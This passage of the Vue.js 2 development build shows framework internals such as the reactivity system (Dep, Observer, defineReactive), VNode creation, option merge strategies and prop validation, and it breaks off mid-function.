first index at which a loosely equal value can be\n   * found in the array (if value is a plain object, the array must\n   * contain an object of the same shape), or -1 if it is not present.\n   */\n  function looseIndexOf (arr, val) {\n    for (var i = 0; i < arr.length; i++) {\n      if (looseEqual(arr[i], val)) { return i }\n    }\n    return -1\n  }\n\n  /**\n   * Ensure a function is called only once.\n   */\n  function once (fn) {\n    var called = false;\n    return function () {\n      if (!called) {\n        called = true;\n        fn.apply(this, arguments);\n      }\n    }\n  }\n\n  var SSR_ATTR = 'data-server-rendered';\n\n  var ASSET_TYPES = [\n    'component',\n    'directive',\n    'filter'\n  ];\n\n  var LIFECYCLE_HOOKS = [\n    'beforeCreate',\n    'created',\n    'beforeMount',\n    'mounted',\n    'beforeUpdate',\n    'updated',\n    'beforeDestroy',\n    'destroyed',\n    'activated',\n    'deactivated',\n    'errorCaptured'\n  ];\n\n  /*  */\n\n\n\n  var config = ({\n    /**\n     * Option merge strategies (used in core/util/options)\n     */\n    // $flow-disable-line\n    optionMergeStrategies: Object.create(null),\n\n    /**\n     * Whether to suppress warnings.\n     */\n    silent: false,\n\n    /**\n     * Show production mode tip message on boot?\n     */\n    productionTip: \"development\" !== 'production',\n\n    /**\n     * Whether to enable devtools\n     */\n    devtools: \"development\" !== 'production',\n\n    /**\n     * Whether to record perf\n     */\n    performance: false,\n\n    /**\n     * Error handler for watcher errors\n     */\n    errorHandler: null,\n\n    /**\n     * Warn handler for watcher warns\n     */\n    warnHandler: null,\n\n    /**\n     * Ignore certain custom elements\n     */\n    ignoredElements: [],\n\n    /**\n     * Custom user key aliases for v-on\n     */\n    // $flow-disable-line\n    keyCodes: Object.create(null),\n\n    /**\n     * Check if a tag is reserved so that it cannot be registered as a\n     * component. This is platform-dependent and may be overwritten.\n     */\n    isReservedTag: no,\n\n    /**\n     * Check if an attribute is reserved so that it cannot be used as a component\n     * prop. This is platform-dependent and may be overwritten.\n     */\n    isReservedAttr: no,\n\n    /**\n     * Check if a tag is an unknown element.\n     * Platform-dependent.\n     */\n    isUnknownElement: no,\n\n    /**\n     * Get the namespace of an element\n     */\n    getTagNamespace: noop,\n\n    /**\n     * Parse the real tag name for the specific platform.\n     */\n    parsePlatformTagName: identity,\n\n    /**\n     * Check if an attribute must be bound using property, e.g. value\n     * Platform-dependent.\n     */\n    mustUseProp: no,\n\n    /**\n     * Perform updates asynchronously. Intended to be used by Vue Test Utils\n     * This will significantly reduce performance if set to false.\n     */\n    async: true,\n\n    /**\n     * Exposed for legacy reasons\n     */\n    _lifecycleHooks: LIFECYCLE_HOOKS\n  });\n\n  /*  */\n\n  /**\n   * Check if a string starts with $ or _\n   */\n  function isReserved (str) {\n    var c = (str + '').charCodeAt(0);\n    return c === 0x24 || c === 0x5F\n  }\n\n  /**\n   * Define a property.\n   */\n  function def (obj, key, val, enumerable) {\n    Object.defineProperty(obj, key, {\n      value: val,\n      enumerable: !!enumerable,\n      writable: true,\n      configurable: true\n    });\n  }\n\n  /**\n   * Parse simple path.\n   */\n  var bailRE = /[^\\w.$]/;\n  function parsePath (path) {\n    if (bailRE.test(path)) {\n      return\n    }\n    var segments = path.split('.');\n    return function (obj) {\n      for (var i = 0; i < segments.length; i++) {\n        if (!obj) { return }\n        obj = obj[segments[i]];\n      }\n      return obj\n    }\n  }\n\n  /*  */\n\n  // can we use __proto__?\n  var hasProto = '__proto__' in {};\n\n  // Browser environment sniffing\n  var inBrowser = typeof window !== 'undefined';\n  var inWeex = typeof WXEnvironment !== 'undefined' && !!WXEnvironment.platform;\n  var weexPlatform = inWeex && WXEnvironment.platform.toLowerCase();\n  var UA = inBrowser && window.navigator.userAgent.toLowerCase();\n  var isIE = UA && /msie|trident/.test(UA);\n  var isIE9 = UA && UA.indexOf('msie 9.0') > 0;\n  var isEdge = UA && UA.indexOf('edge/') > 0;\n  var isAndroid = (UA && UA.indexOf('android') > 0) || (weexPlatform === 'android');\n  var isIOS = (UA && /iphone|ipad|ipod|ios/.test(UA)) || (weexPlatform === 'ios');\n  var isChrome = UA && /chrome\\/\\d+/.test(UA) && !isEdge;\n\n  // Firefox has a \"watch\" function on Object.prototype...\n  var nativeWatch = ({}).watch;\n\n  var supportsPassive = false;\n  if (inBrowser) {\n    try {\n      var opts = {};\n      Object.defineProperty(opts, 'passive', ({\n        get: function get () {\n          /* istanbul ignore next */\n          supportsPassive = true;\n        }\n      })); // https://github.com/facebook/flow/issues/285\n      window.addEventListener('test-passive', null, opts);\n    } catch (e) {}\n  }\n\n  // this needs to be lazy-evaled because vue may be required before\n  // vue-server-renderer can set VUE_ENV\n  var _isServer;\n  var isServerRendering = function () {\n    if (_isServer === undefined) {\n      /* istanbul ignore if */\n      if (!inBrowser && !inWeex && typeof global !== 'undefined') {\n        // detect presence of vue-server-renderer and avoid\n        // Webpack shimming the process\n        _isServer = global['process'] && global['process'].env.VUE_ENV === 'server';\n      } else {\n        _isServer = false;\n      }\n    }\n    return _isServer\n  };\n\n  // detect devtools\n  var devtools = inBrowser && window.__VUE_DEVTOOLS_GLOBAL_HOOK__;\n\n  /* istanbul ignore next */\n  function isNative (Ctor) {\n    return typeof Ctor === 'function' && /native code/.test(Ctor.toString())\n  }\n\n  var hasSymbol =\n    typeof Symbol !== 'undefined' && isNative(Symbol) &&\n    typeof Reflect !== 'undefined' && isNative(Reflect.ownKeys);\n\n  var _Set;\n  /* istanbul ignore if */ // $flow-disable-line\n  if (typeof Set !== 'undefined' && isNative(Set)) {\n    // use native Set when available.\n    _Set = Set;\n  } else {\n    // a non-standard Set polyfill that only works with primitive keys.\n    _Set = /*@__PURE__*/(function () {\n      function Set () {\n        this.set = Object.create(null);\n      }\n      Set.prototype.has = function has (key) {\n        return this.set[key] === true\n      };\n      Set.prototype.add = function add (key) {\n        this.set[key] = true;\n      };\n      Set.prototype.clear = function clear () {\n        this.set = Object.create(null);\n      };\n\n      return Set;\n    }());\n  }\n\n  /*  */\n\n  var warn = noop;\n  var tip = noop;\n  var generateComponentTrace = (noop); // work around flow check\n  var formatComponentName = (noop);\n\n  {\n    var hasConsole = typeof console !== 'undefined';\n    var classifyRE = /(?:^|[-_])(\\w)/g;\n    var classify = function (str) { return str\n      .replace(classifyRE, function (c) { return c.toUpperCase(); })\n      .replace(/[-_]/g, ''); };\n\n    warn = function (msg, vm) {\n      var trace = vm ? generateComponentTrace(vm) : '';\n\n      if (config.warnHandler) {\n        config.warnHandler.call(null, msg, vm, trace);\n      } else if (hasConsole && (!config.silent)) {\n        console.error((\"[Vue warn]: \" + msg + trace));\n      }\n    };\n\n    tip = function (msg, vm) {\n      if (hasConsole && (!config.silent)) {\n        console.warn(\"[Vue tip]: \" + msg + (\n          vm ? generateComponentTrace(vm) : ''\n        ));\n      }\n    };\n\n    formatComponentName = function (vm, includeFile) {\n      if (vm.$root === vm) {\n        return '<Root>'\n      }\n      var options = typeof vm === 'function' && vm.cid != null\n        ? vm.options\n        : vm._isVue\n          ? vm.$options || vm.constructor.options\n          : vm || {};\n      var name = options.name || options._componentTag;\n      var file = options.__file;\n      if (!name && file) {\n        var match = file.match(/([^/\\\\]+)\\.vue$/);\n        name = match && match[1];\n      }\n\n      return (\n        (name ? (\"<\" + (classify(name)) + \">\") : \"<Anonymous>\") +\n        (file && includeFile !== false ? (\" at \" + file) : '')\n      )\n    };\n\n    var repeat = function (str, n) {\n      var res = '';\n      while (n) {\n        if (n % 2 === 1) { res += str; }\n        if (n > 1) { str += str; }\n        n >>= 1;\n      }\n      return res\n    };\n\n    generateComponentTrace = function (vm) {\n      if (vm._isVue && vm.$parent) {\n        var tree = [];\n        var currentRecursiveSequence = 0;\n        while (vm) {\n          if (tree.length > 0) {\n            var last = tree[tree.length - 1];\n            if (last.constructor === vm.constructor) {\n              currentRecursiveSequence++;\n              vm = vm.$parent;\n              continue\n            } else if (currentRecursiveSequence > 0) {\n              tree[tree.length - 1] = [last, currentRecursiveSequence];\n              currentRecursiveSequence = 0;\n            }\n          }\n          tree.push(vm);\n          vm = vm.$parent;\n        }\n        return '\\n\\nfound in\\n\\n' + tree\n          .map(function (vm, i) { return (\"\" + (i === 0 ? '---> ' : repeat(' ', 5 + i * 2)) + (Array.isArray(vm)\n              ? ((formatComponentName(vm[0])) + \"... (\" + (vm[1]) + \" recursive calls)\")\n              : formatComponentName(vm))); })\n          .join('\\n')\n      } else {\n        return (\"\\n\\n(found in \" + (formatComponentName(vm)) + \")\")\n      }\n    };\n  }\n\n  /*  */\n\n  var uid = 0;\n\n  /**\n   * A dep is an observable that can have multiple\n   * directives subscribing to it.\n   */\n  var Dep = function Dep () {\n    this.id = uid++;\n    this.subs = [];\n  };\n\n  Dep.prototype.addSub = function addSub (sub) {\n    this.subs.push(sub);\n  };\n\n  Dep.prototype.removeSub = function removeSub (sub) {\n    remove(this.subs, sub);\n  };\n\n  Dep.prototype.depend = function depend () {\n    if (Dep.target) {\n      Dep.target.addDep(this);\n    }\n  };\n\n  Dep.prototype.notify = function notify () {\n    // stabilize the subscriber list first\n    var subs = this.subs.slice();\n    if (!config.async) {\n      // subs aren't sorted in scheduler if not running async\n      // we need to sort them now to make sure they fire in correct\n      // order\n      subs.sort(function (a, b) { return a.id - b.id; });\n    }\n    for (var i = 0, l = subs.length; i < l; i++) {\n      subs[i].update();\n    }\n  };\n\n  // the current target watcher being evaluated.\n  // this is globally unique because there could be only one\n  // watcher being evaluated at any time.\n  Dep.target = null;\n  var targetStack = [];\n\n  function pushTarget (target) {\n    targetStack.push(target);\n    Dep.target = target;\n  }\n\n  function popTarget () {\n    targetStack.pop();\n    Dep.target = targetStack[targetStack.length - 1];\n  }\n\n  /*  */\n\n  var VNode = function VNode (\n    tag,\n    data,\n    children,\n    text,\n    elm,\n    context,\n    componentOptions,\n    asyncFactory\n  ) {\n    this.tag = tag;\n    this.data = data;\n    this.children = children;\n    this.text = text;\n    this.elm = elm;\n    this.ns = undefined;\n    this.context = context;\n    this.fnContext = undefined;\n    this.fnOptions = undefined;\n    this.fnScopeId = undefined;\n    this.key = data && data.key;\n    this.componentOptions = componentOptions;\n    this.componentInstance = undefined;\n    this.parent = undefined;\n    this.raw = false;\n    this.isStatic = false;\n    this.isRootInsert = true;\n    this.isComment = false;\n    this.isCloned = false;\n    this.isOnce = false;\n    this.asyncFactory = asyncFactory;\n    this.asyncMeta = undefined;\n    this.isAsyncPlaceholder = false;\n  };\n\n  var prototypeAccessors = { child: { configurable: true } };\n\n  // DEPRECATED: alias for componentInstance for backwards compat.\n  /* istanbul ignore next */\n  prototypeAccessors.child.get = function () {\n    return this.componentInstance\n  };\n\n  Object.defineProperties( VNode.prototype, prototypeAccessors );\n\n  var createEmptyVNode = function (text) {\n    if ( text === void 0 ) text = '';\n\n    var node = new VNode();\n    node.text = text;\n    node.isComment = true;\n    return node\n  };\n\n  function createTextVNode (val) {\n    return new VNode(undefined, undefined, undefined, String(val))\n  }\n\n  // optimized shallow clone\n  // used for static nodes and slot nodes because they may be reused across\n  // multiple renders, cloning them avoids errors when DOM manipulations rely\n  // on their elm reference.\n  function cloneVNode (vnode) {\n    var cloned = new VNode(\n      vnode.tag,\n      vnode.data,\n      // #7975\n      // clone children array to avoid mutating original in case of cloning\n      // a child.\n      vnode.children && vnode.children.slice(),\n      vnode.text,\n      vnode.elm,\n      vnode.context,\n      vnode.componentOptions,\n      vnode.asyncFactory\n    );\n    cloned.ns = vnode.ns;\n    cloned.isStatic = vnode.isStatic;\n    cloned.key = vnode.key;\n    cloned.isComment = vnode.isComment;\n    cloned.fnContext = vnode.fnContext;\n    cloned.fnOptions = vnode.fnOptions;\n    cloned.fnScopeId = vnode.fnScopeId;\n    cloned.asyncMeta = vnode.asyncMeta;\n    cloned.isCloned = true;\n    return cloned\n  }\n\n  /*\n   * not type checking this file because flow doesn't play well with\n   * dynamically accessing methods on Array prototype\n   */\n\n  var arrayProto = Array.prototype;\n  var arrayMethods = Object.create(arrayProto);\n\n  var methodsToPatch = [\n    'push',\n    'pop',\n    'shift',\n    'unshift',\n    'splice',\n    'sort',\n    'reverse'\n  ];\n\n  /**\n   * Intercept mutating methods and emit events\n   */\n  methodsToPatch.forEach(function (method) {\n    // cache original method\n    var original = arrayProto[method];\n    def(arrayMethods, method, function mutator () {\n      var args = [], len = arguments.length;\n      while ( len-- ) args[ len ] = arguments[ len ];\n\n      var result = original.apply(this, args);\n      var ob = this.__ob__;\n      var inserted;\n      switch (method) {\n        case 'push':\n        case 'unshift':\n          inserted = args;\n          break\n        case 'splice':\n          inserted = args.slice(2);\n          break\n      }\n      if (inserted) { ob.observeArray(inserted); }\n      // notify change\n      ob.dep.notify();\n      return result\n    });\n  });\n\n  /*  */\n\n  var arrayKeys = Object.getOwnPropertyNames(arrayMethods);\n\n  /**\n   * In some cases we may want to disable observation inside a component's\n   * update computation.\n   */\n  var shouldObserve = true;\n\n  function toggleObserving (value) {\n    shouldObserve = value;\n  }\n\n  /**\n   * Observer class that is attached to each observed\n   * object. Once attached, the observer converts the target\n   * object's property keys into getter/setters that\n   * collect dependencies and dispatch updates.\n   */\n  var Observer = function Observer (value) {\n    this.value = value;\n    this.dep = new Dep();\n    this.vmCount = 0;\n    def(value, '__ob__', this);\n    if (Array.isArray(value)) {\n      if (hasProto) {\n        protoAugment(value, arrayMethods);\n      } else {\n        copyAugment(value, arrayMethods, arrayKeys);\n      }\n      this.observeArray(value);\n    } else {\n      this.walk(value);\n    }\n  };\n\n  /**\n   * Walk through all properties and convert them into\n   * getter/setters. This method should only be called when\n   * value type is Object.\n   */\n  Observer.prototype.walk = function walk (obj) {\n    var keys = Object.keys(obj);\n    for (var i = 0; i < keys.length; i++) {\n      defineReactive$$1(obj, keys[i]);\n    }\n  };\n\n  /**\n   * Observe a list of Array items.\n   */\n  Observer.prototype.observeArray = function observeArray (items) {\n    for (var i = 0, l = items.length; i < l; i++) {\n      observe(items[i]);\n    }\n  };\n\n  // helpers\n\n  /**\n   * Augment a target Object or Array by intercepting\n   * the prototype chain using __proto__\n   */\n  function protoAugment (target, src) {\n    /* eslint-disable no-proto */\n    target.__proto__ = src;\n    /* eslint-enable no-proto */\n  }\n\n  /**\n   * Augment a target Object or Array by defining\n   * hidden properties.\n   */\n  /* istanbul ignore next */\n  function copyAugment (target, src, keys) {\n    for (var i = 0, l = keys.length; i < l; i++) {\n      var key = keys[i];\n      def(target, key, src[key]);\n    }\n  }\n\n  /**\n   * Attempt to create an observer instance for a value,\n   * returns the new observer if successfully observed,\n   * or the existing observer if the value already has one.\n   */\n  function observe (value, asRootData) {\n    if (!isObject(value) || value instanceof VNode) {\n      return\n    }\n    var ob;\n    if (hasOwn(value, '__ob__') && value.__ob__ instanceof Observer) {\n      ob = value.__ob__;\n    } else if (\n      shouldObserve &&\n      !isServerRendering() &&\n      (Array.isArray(value) || isPlainObject(value)) &&\n      Object.isExtensible(value) &&\n      !value._isVue\n    ) {\n      ob = new Observer(value);\n    }\n    if (asRootData && ob) {\n      ob.vmCount++;\n    }\n    return ob\n  }\n\n  /**\n   * Define a reactive property on an Object.\n   */\n  function defineReactive$$1 (\n    obj,\n    key,\n    val,\n    customSetter,\n    shallow\n  ) {\n    var dep = new Dep();\n\n    var property = Object.getOwnPropertyDescriptor(obj, key);\n    if (property && property.configurable === false) {\n      return\n    }\n\n    // cater for pre-defined getter/setters\n    var getter = property && property.get;\n    var setter = property && property.set;\n    if ((!getter || setter) && arguments.length === 2) {\n      val = obj[key];\n    }\n\n    var childOb = !shallow && observe(val);\n    Object.defineProperty(obj, key, {\n      enumerable: true,\n      configurable: true,\n      get: function reactiveGetter () {\n        var value = getter ? getter.call(obj) : val;\n        if (Dep.target) {\n          dep.depend();\n          if (childOb) {\n            childOb.dep.depend();\n            if (Array.isArray(value)) {\n              dependArray(value);\n            }\n          }\n        }\n        return value\n      },\n      set: function reactiveSetter (newVal) {\n        var value = getter ? getter.call(obj) : val;\n        /* eslint-disable no-self-compare */\n        if (newVal === value || (newVal !== newVal && value !== value)) {\n          return\n        }\n        /* eslint-enable no-self-compare */\n        if (customSetter) {\n          customSetter();\n        }\n        // #7981: for accessor properties without setter\n        if (getter && !setter) { return }\n        if (setter) {\n          setter.call(obj, newVal);\n        } else {\n          val = newVal;\n        }\n        childOb = !shallow && observe(newVal);\n        dep.notify();\n      }\n    });\n  }\n\n  /**\n   * Set a property on an object. Adds the new property and\n   * triggers change notification if the property doesn't\n   * already exist.\n   */\n  function set (target, key, val) {\n    if (isUndef(target) || isPrimitive(target)\n    ) {\n      warn((\"Cannot set reactive property on undefined, null, or primitive value: \" + ((target))));\n    }\n    if (Array.isArray(target) && isValidArrayIndex(key)) {\n      target.length = Math.max(target.length, key);\n      target.splice(key, 1, val);\n      return val\n    }\n    if (key in target && !(key in Object.prototype)) {\n      target[key] = val;\n      return val\n    }\n    var ob = (target).__ob__;\n    if (target._isVue || (ob && ob.vmCount)) {\n      warn(\n        'Avoid adding reactive properties to a Vue instance or its root $data ' +\n        'at runtime - declare it upfront in the data option.'\n      );\n      return val\n    }\n    if (!ob) {\n      target[key] = val;\n      return val\n    }\n    defineReactive$$1(ob.value, key, val);\n    ob.dep.notify();\n    return val\n  }\n\n  /**\n   * Delete a property and trigger change if necessary.\n   */\n  function del (target, key) {\n    if (isUndef(target) || isPrimitive(target)\n    ) {\n      warn((\"Cannot delete reactive property on undefined, null, or primitive value: \" + ((target))));\n    }\n    if (Array.isArray(target) && isValidArrayIndex(key)) {\n      target.splice(key, 1);\n      return\n    }\n    var ob = (target).__ob__;\n    if (target._isVue || (ob && ob.vmCount)) {\n      warn(\n        'Avoid deleting properties on a Vue instance or its root $data ' +\n        '- just set it to null.'\n      );\n      return\n    }\n    if (!hasOwn(target, key)) {\n      return\n    }\n    delete target[key];\n    if (!ob) {\n      return\n    }\n    ob.dep.notify();\n  }\n\n  /**\n   * Collect dependencies on array elements when the array is touched, since\n   * we cannot intercept array element access like property getters.\n   */\n  function dependArray (value) {\n    for (var e = (void 0), i = 0, l = value.length; i < l; i++) {\n      e = value[i];\n      e && e.__ob__ && e.__ob__.dep.depend();\n      if (Array.isArray(e)) {\n        dependArray(e);\n      }\n    }\n  }\n\n  /*  */\n\n  /**\n   * Option overwriting strategies are functions that handle\n   * how to merge a parent option value and a child option\n   * value into the final value.\n   */\n  var strats = config.optionMergeStrategies;\n\n  /**\n   * Options with restrictions\n   */\n  {\n    strats.el = strats.propsData = function (parent, child, vm, key) {\n      if (!vm) {\n        warn(\n          \"option \\\"\" + key + \"\\\" can only be used during instance \" +\n          'creation with the `new` keyword.'\n        );\n      }\n      return defaultStrat(parent, child)\n    };\n  }\n\n  /**\n   * Helper that recursively merges two data objects together.\n   */\n  function mergeData (to, from) {\n    if (!from) { return to }\n    var key, toVal, fromVal;\n    var keys = Object.keys(from);\n    for (var i = 0; i < keys.length; i++) {\n      key = keys[i];\n      toVal = to[key];\n      fromVal = from[key];\n      if (!hasOwn(to, key)) {\n        set(to, key, fromVal);\n      } else if (\n        toVal !== fromVal &&\n        isPlainObject(toVal) &&\n        isPlainObject(fromVal)\n      ) {\n        mergeData(toVal, fromVal);\n      }\n    }\n    return to\n  }\n\n  /**\n   * Data\n   */\n  function mergeDataOrFn (\n    parentVal,\n    childVal,\n    vm\n  ) {\n    if (!vm) {\n      // in a Vue.extend merge, both should be functions\n      if (!childVal) {\n        return parentVal\n      }\n      if (!parentVal) {\n        return childVal\n      }\n      // when parentVal & childVal are both present,\n      // we need to return a function that returns the\n      // merged result of both functions... no need to\n      // check if parentVal is a function here because\n      // it has to be a function to pass previous merges.\n      return function mergedDataFn () {\n        return mergeData(\n          typeof childVal === 'function' ? childVal.call(this, this) : childVal,\n          typeof parentVal === 'function' ? parentVal.call(this, this) : parentVal\n        )\n      }\n    } else {\n      return function mergedInstanceDataFn () {\n        // instance merge\n        var instanceData = typeof childVal === 'function'\n          ? childVal.call(vm, vm)\n          : childVal;\n        var defaultData = typeof parentVal === 'function'\n          ? parentVal.call(vm, vm)\n          : parentVal;\n        if (instanceData) {\n          return mergeData(instanceData, defaultData)\n        } else {\n          return defaultData\n        }\n      }\n    }\n  }\n\n  strats.data = function (\n    parentVal,\n    childVal,\n    vm\n  ) {\n    if (!vm) {\n      if (childVal && typeof childVal !== 'function') {\n        warn(\n          'The \"data\" option should be a function ' +\n          'that returns a per-instance value in component ' +\n          'definitions.',\n          vm\n        );\n\n        return parentVal\n      }\n      return mergeDataOrFn(parentVal, childVal)\n    }\n\n    return mergeDataOrFn(parentVal, childVal, vm)\n  };\n\n  /**\n   * Hooks and props are merged as arrays.\n   */\n  function mergeHook (\n    parentVal,\n    childVal\n  ) {\n    return childVal\n      ? parentVal\n        ? parentVal.concat(childVal)\n        : Array.isArray(childVal)\n          ? childVal\n          : [childVal]\n      : parentVal\n  }\n\n  LIFECYCLE_HOOKS.forEach(function (hook) {\n    strats[hook] = mergeHook;\n  });\n\n  /**\n   * Assets\n   *\n   * When a vm is present (instance creation), we need to do\n   * a three-way merge between constructor options, instance\n   * options and parent options.\n   */\n  function mergeAssets (\n    parentVal,\n    childVal,\n    vm,\n    key\n  ) {\n    var res = Object.create(parentVal || null);\n    if (childVal) {\n      assertObjectType(key, childVal, vm);\n      return extend(res, childVal)\n    } else {\n      return res\n    }\n  }\n\n  ASSET_TYPES.forEach(function (type) {\n    strats[type + 's'] = mergeAssets;\n  });\n\n  /**\n   * Watchers.\n   *\n   * Watchers hashes should not overwrite one\n   * another, so we merge them as arrays.\n   */\n  strats.watch = function (\n    parentVal,\n    childVal,\n    vm,\n    key\n  ) {\n    // work around Firefox's Object.prototype.watch...\n    if (parentVal === nativeWatch) { parentVal = undefined; }\n    if (childVal === nativeWatch) { childVal = undefined; }\n    /* istanbul ignore if */\n    if (!childVal) { return Object.create(parentVal || null) }\n    {\n      assertObjectType(key, childVal, vm);\n    }\n    if (!parentVal) { return childVal }\n    var ret = {};\n    extend(ret, parentVal);\n    for (var key$1 in childVal) {\n      var parent = ret[key$1];\n      var child = childVal[key$1];\n      if (parent && !Array.isArray(parent)) {\n        parent = [parent];\n      }\n      ret[key$1] = parent\n        ? parent.concat(child)\n        : Array.isArray(child) ? child : [child];\n    }\n    return ret\n  };\n\n  /**\n   * Other object hashes.\n   */\n  strats.props =\n  strats.methods =\n  strats.inject =\n  strats.computed = function (\n    parentVal,\n    childVal,\n    vm,\n    key\n  ) {\n    if (childVal && \"development\" !== 'production') {\n      assertObjectType(key, childVal, vm);\n    }\n    if (!parentVal) { return childVal }\n    var ret = Object.create(null);\n    extend(ret, parentVal);\n    if (childVal) { extend(ret, childVal); }\n    return ret\n  };\n  strats.provide = mergeDataOrFn;\n\n  /**\n   * Default strategy.\n   */\n  var defaultStrat = function (parentVal, childVal) {\n    return childVal === undefined\n      ? parentVal\n      : childVal\n  };\n\n  /**\n   * Validate component names\n   */\n  function checkComponents (options) {\n    for (var key in options.components) {\n      validateComponentName(key);\n    }\n  }\n\n  function validateComponentName (name) {\n    if (!/^[a-zA-Z][\\w-]*$/.test(name)) {\n      warn(\n        'Invalid component name: \"' + name + '\". Component names ' +\n        'can only contain alphanumeric characters and the hyphen, ' +\n        'and must start with a letter.'\n      );\n    }\n    if (isBuiltInTag(name) || config.isReservedTag(name)) {\n      warn(\n        'Do not use built-in or reserved HTML elements as component ' +\n        'id: ' + name\n      );\n    }\n  }\n\n  /**\n   * Ensure all props option syntax are normalized into the\n   * Object-based format.\n   */\n  function normalizeProps (options, vm) {\n    var props = options.props;\n    if (!props) { return }\n    var res = {};\n    var i, val, name;\n    if (Array.isArray(props)) {\n      i = props.length;\n      while (i--) {\n        val = props[i];\n        if (typeof val === 'string') {\n          name = camelize(val);\n          res[name] = { type: null };\n        } else {\n          warn('props must be strings when using array syntax.');\n        }\n      }\n    } else if (isPlainObject(props)) {\n      for (var key in props) {\n        val = props[key];\n        name = camelize(key);\n        res[name] = isPlainObject(val)\n          ? val\n          : { type: val };\n      }\n    } else {\n      warn(\n        \"Invalid value for option \\\"props\\\": expected an Array or an Object, \" +\n        \"but got \" + (toRawType(props)) + \".\",\n        vm\n      );\n    }\n    options.props = res;\n  }\n\n  /**\n   * Normalize all injections into Object-based format\n   */\n  function normalizeInject (options, vm) {\n    var inject = options.inject;\n    if (!inject) { return }\n    var normalized = options.inject = {};\n    if (Array.isArray(inject)) {\n      for (var i = 0; i < inject.length; i++) {\n        normalized[inject[i]] = { from: inject[i] };\n      }\n    } else if (isPlainObject(inject)) {\n      for (var key in inject) {\n        var val = inject[key];\n        normalized[key] = isPlainObject(val)\n          ? extend({ from: key }, val)\n          : { from: val };\n      }\n    } else {\n      warn(\n        \"Invalid value for option \\\"inject\\\": expected an Array or an Object, \" +\n        \"but got \" + (toRawType(inject)) + \".\",\n        vm\n      );\n    }\n  }\n\n  /**\n   * Normalize raw function directives into object format.\n   */\n  function normalizeDirectives (options) {\n    var dirs = options.directives;\n    if (dirs) {\n      for (var key in dirs) {\n        var def = dirs[key];\n        if (typeof def === 'function') {\n          dirs[key] = { bind: def, update: def };\n        }\n      }\n    }\n  }\n\n  function assertObjectType (name, value, vm) {\n    if (!isPlainObject(value)) {\n      warn(\n        \"Invalid value for option \\\"\" + name + \"\\\": expected an Object, \" +\n        \"but got \" + (toRawType(value)) + \".\",\n        vm\n      );\n    }\n  }\n\n  /**\n   * Merge two option objects into a new one.\n   * Core utility used in both instantiation and inheritance.\n   */\n  function mergeOptions (\n    parent,\n    child,\n    vm\n  ) {\n    {\n      checkComponents(child);\n    }\n\n    if (typeof child === 'function') {\n      child = child.options;\n    }\n\n    normalizeProps(child, vm);\n    normalizeInject(child, vm);\n    normalizeDirectives(child);\n    \n    // Apply extends and mixins on the child options,\n    // but only if it is a raw options object that isn't\n    // the result of another mergeOptions call.\n    // Only merged options has the _base property.\n    if (!child._base) {\n      if (child.extends) {\n        parent = mergeOptions(parent, child.extends, vm);\n      }\n      if (child.mixins) {\n        for (var i = 0, l = child.mixins.length; i < l; i++) {\n          parent = mergeOptions(parent, child.mixins[i], vm);\n        }\n      }\n    }\n\n    var options = {};\n    var key;\n    for (key in parent) {\n      mergeField(key);\n    }\n    for (key in child) {\n      if (!hasOwn(parent, key)) {\n        mergeField(key);\n      }\n    }\n    function mergeField (key) {\n      var strat = strats[key] || defaultStrat;\n      options[key] = strat(parent[key], child[key], vm, key);\n    }\n    return options\n  }\n\n  /**\n   * Resolve an asset.\n   * This function is used because child instances need access\n   * to assets defined in its ancestor chain.\n   */\n  function resolveAsset (\n    options,\n    type,\n    id,\n    warnMissing\n  ) {\n    /* istanbul ignore if */\n    if (typeof id !== 'string') {\n      return\n    }\n    var assets = options[type];\n    // check local registration variations first\n    if (hasOwn(assets, id)) { return assets[id] }\n    var camelizedId = camelize(id);\n    if (hasOwn(assets, camelizedId)) { return assets[camelizedId] }\n    var PascalCaseId = capitalize(camelizedId);\n    if (hasOwn(assets, PascalCaseId)) { return assets[PascalCaseId] }\n    // fallback to prototype chain\n    var res = assets[id] || assets[camelizedId] || assets[PascalCaseId];\n    if (warnMissing && !res) {\n      warn(\n        'Failed to resolve ' + type.slice(0, -1) + ': ' + id,\n        options\n      );\n    }\n    return res\n  }\n\n  /*  */\n\n\n\n  function validateProp (\n    key,\n    propOptions,\n    propsData,\n    vm\n  ) {\n    var prop = propOptions[key];\n    var absent = !hasOwn(propsData, key);\n    var value = propsData[key];\n    // boolean casting\n    var booleanIndex = getTypeIndex(Boolean, prop.type);\n    if (booleanIndex > -1) {\n      if (absent && !hasOwn(prop, 'default')) {\n        value = false;\n      } else if (value === '' || value === hyphenate(key)) {\n        // only cast empty string / same name to boolean if\n        // boolean has higher priority\n        var stringIndex = getTypeIndex(String, prop.type);\n        if (stringIndex < 0 || booleanIndex < stringIndex) {\n          value = true;\n        }\n      }\n    }\n    // check default value\n    if (value === undefined) {\n      value = getPropDefaultValue(vm, prop, key);\n      // since the default value is a fresh copy,\n      // make sure to observe it.\n      var prevShouldObserve = shouldObserve;\n      toggleObserving(true);\n      observe(value);\n      toggleObserving(prevShouldObserve);\n    }\n    {\n      assertProp(prop, key, value, vm, absent);\n    }\n    return value\n  }\n\n  /**\n   * Get the default value of a prop.\n   */\n  function getPropDefaultValue (vm, prop, key) {\n    // no default, return undefined\n    if (!hasOwn(prop, 'default')) {\n      return undefined\n    }\n    var def = prop.default;\n    // warn against non-factory defaults for Object & Array\n    if (isObject(def)) {\n      warn(\n        'Invalid default value for prop \"' + key + '\": ' +\n        'Props with type Object/Array must use a factory function ' +\n        'to return the default value.',\n        vm\n      );\n    }\n    // the raw prop value was also undefined from previous render,\n    // return previous default value to avoid unnecessary watcher trigger\n    if (vm && vm.$options.propsData &&\n      vm.$options.propsData[key] === undefined &&\n      vm._props[key] !== undefined\n    ) {\n      return vm._props[key]\n    }\n    // call factory function for non-Function types\n    // a value is Function if its prototype is function even across different execution context\n    return typeof def === 'function' && getType(prop.type) !== 'Function'\n      ? def.call(vm)\n      : def\n  }\n\n  /**\n   * Assert whether a prop is valid.\n   */\n  function assertProp (\n    prop,\n    name,\n    value,\n    vm,\n    absent\n  ) {\n    if (prop.required && absent) {\n      warn(\n        'Missing required prop: \"' + name + '\"',\n        vm\n      );\n      return\n    }\n    if (value == null && !prop.required) {\n      return\n    }\n    var type = prop.type;\n    var valid = !type || type === true;\n    var expectedTypes = [];\n    if (type) {\n      if (!Array.isArray(type)) {\n        type = [type];\n      }\n      for (var i = 0; i < type.length && !valid; i++) {\n        var assertedType = assertType(value, type[i]);\n        expectedTypes.push(assertedType.expectedType || '');\n        valid = assertedType.valid;\n      }\n    }\n\n    if (!valid) {\n      warn(\n        getInvalidTypeMessage(name, value, expectedTypes),\n        vm\n      );\n      return\n    }\n    var validator = prop.validator;\n    if (validator) {\n      if 